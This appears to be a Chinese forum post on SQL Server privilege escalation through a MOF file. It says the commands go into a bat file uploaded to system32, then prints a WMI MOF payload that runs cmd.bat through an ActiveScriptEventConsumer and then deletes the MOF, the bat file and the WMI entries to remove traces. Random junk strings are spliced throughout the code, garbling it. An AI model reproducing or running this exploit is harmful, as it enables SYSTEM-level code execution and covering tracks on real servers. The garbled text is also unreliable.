这个sql提权MOF需要运行 system下的文件,不能定义路径。% z' s7 b" A$ ^' I2 r7 e
需要将要运行的命令写入到bat上传到system32目录,然后执行。+ D1 T) f, Y+ d. H
. S, R4 z+ }* {5 ^. a/ A9 m. B) v
这个sql提权MOF需要运行 system下的文件,不能定义路径。
7 |$ j( s" m) Y! Z5 x8 a需要将要运行的命令写入到bat上传到system32目录,然后执行。
' n4 O$ u3 r$ U% ]0 m
% d9 I% F$ Q5 d) \, N#pragma& C# F3 j" f6 m3 Z3 v0 B7 T0 e
namespace("\\\\.\\root\\cimv2"). m* Y0 F% M6 F5 k& ?' J
class
" B, }) X, {4 t" q6 ~1 l MyClass547
& @7 I/ s& k$ ?$ E { [key]6 Q; d0 a/ s/ r2 V# P& j4 @2 P
string
2 s- {5 ^- z0 F( I" g3 Z9 ^; i) d Name;
j! |) j% @; i* C& u4 F/ Z: L j };
7 j5 y3 c( x4 @: S0 Q2 F/ Y class: f" y5 M( V4 c4 n6 R }9 `6 Z
ActiveScriptEventConsumer7 ^. D: x; Q) @5 F8 S# X6 e
: __EventConsumer { [key]" h: d" r6 Y. Q! ]: R! Y% p
string
% F$ q Q+ n& H* x Name; [not_null]
$ ]" a' o9 r3 z0 t string- {6 O/ G7 _/ `: C" M
ScriptingEngine; string1 {: Q) {0 i" Y- {
ScriptFileName; [template]# u6 ]* z' t7 s
string7 P, i% {/ t/ I7 \- P! g0 g" Q
ScriptText; uint32 KillTimeout;
( f2 e; P6 g1 s+ U }; instance of __Win32Provider as $P {
, `% p% Y. i' L: N) C# M2 _ Name
- S% D6 x! N8 ^0 m =
4 B' W2 U9 A. N2 [$ g% @1 t "ActiveScriptEventConsumer"; CLSID =
$ o# p& Q' V v. o' M "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";% `/ G- t0 }8 a4 q. c5 u# i) O* J
PerUserInitialization t& k) G. o4 R; r( V9 f& m% U
= TRUE;
) p$ Q/ J/ j* V- Y }; instance of __EventConsumerProviderRegistration { Provider0 ]4 c1 K4 c8 |) Z+ A( }+ G
= $P; ConsumerClassNames8 [* ^! t- A' c, o" |
=* f7 E: F( k) r# y A
{"ActiveScriptEventConsumer"};
5 A7 g) s2 z/ p! F$ [' a2 m/ Q. F };: B1 z+ G- Y6 z. A
Instance of ActiveScriptEventConsumer
$ |. c; F3 V2 h, I as $cons { Name6 O/ b3 q+ _# K; v7 n
=, z/ _" I+ t o* J2 g$ o b+ ^
"ASEC"; ScriptingEngine3 r7 p' [- y" v* N% t- ?2 B
=. B/ b8 W- J* h" q2 L
"JScript"; ScriptText
: \/ I( ^" F! y# ~, [ =
+ [- S4 [$ d2 i/ P "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
/ a5 K; F9 ?2 X4 M: D5 O Instance of ActiveScriptEventConsumer0 C: w% m% k5 A2 p
as $cons2 { Name& [9 v( N- n M! K9 f K( D
=$ Z8 [, c0 W2 w# r1 k) ^# ~
"qndASEC"; ScriptingEngine
+ ~! C5 @% F+ f =5 h( d( Y3 Y. ~/ E% S8 R
"JScript"; ScriptText
! }& w/ R9 V8 j; c+ G =
4 i1 U: c- `. E0 _ "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";6 M8 ?. c; E5 F. b
}; instance of __EventFilter as $Filt { Name) G' O P/ \2 L+ O; ]3 d) L: H
=% D( [. F( y6 e
"instfilt"; Query% c& H# N" D1 n1 n
=2 l3 U' A. F X2 \( L; ]# b
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage% w0 S$ E# W# x7 H
=
. O: f0 c1 ~3 `& B! ? "WQL"; }; instance of __EventFilter as $Filt2 { Name: v4 ~% b* A4 r+ [6 |9 d
=
3 L6 H" V7 J! Y- b4 J- h "qndfilt"; Query
7 j2 }1 L4 ^5 t4 U, e2 u7 Q =% S n0 ~) i$ E+ k
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
+ X& p" r( o* ]9 J6 B0 q$ ]: f) \! W4 b =7 Z( u' E, C* i$ N4 k! _
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
' ~/ l4 \, c% J4 G' g4 }4 z- i5 }' q = $cons; Filter
" A& y A5 i, k U* S J2 h = $Filt;" {5 r" s9 ^4 e; |5 u
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
1 X: _8 h$ R$ {+ X3 l4 o = $cons2; Filter
9 U B) A9 w/ B = $Filt2;
" ~8 K4 g) {: f. s }; instance of MyClass547
5 Y& q8 a( C5 l# m4 s as $MyClass { Name
6 z9 F# I1 t% r7 u0 \2 G7 L9 W =
8 Q' l/ Y% {: d0 S6 K "ClassConsumer";
! C `8 w2 ~# n% e4 q! ? }; |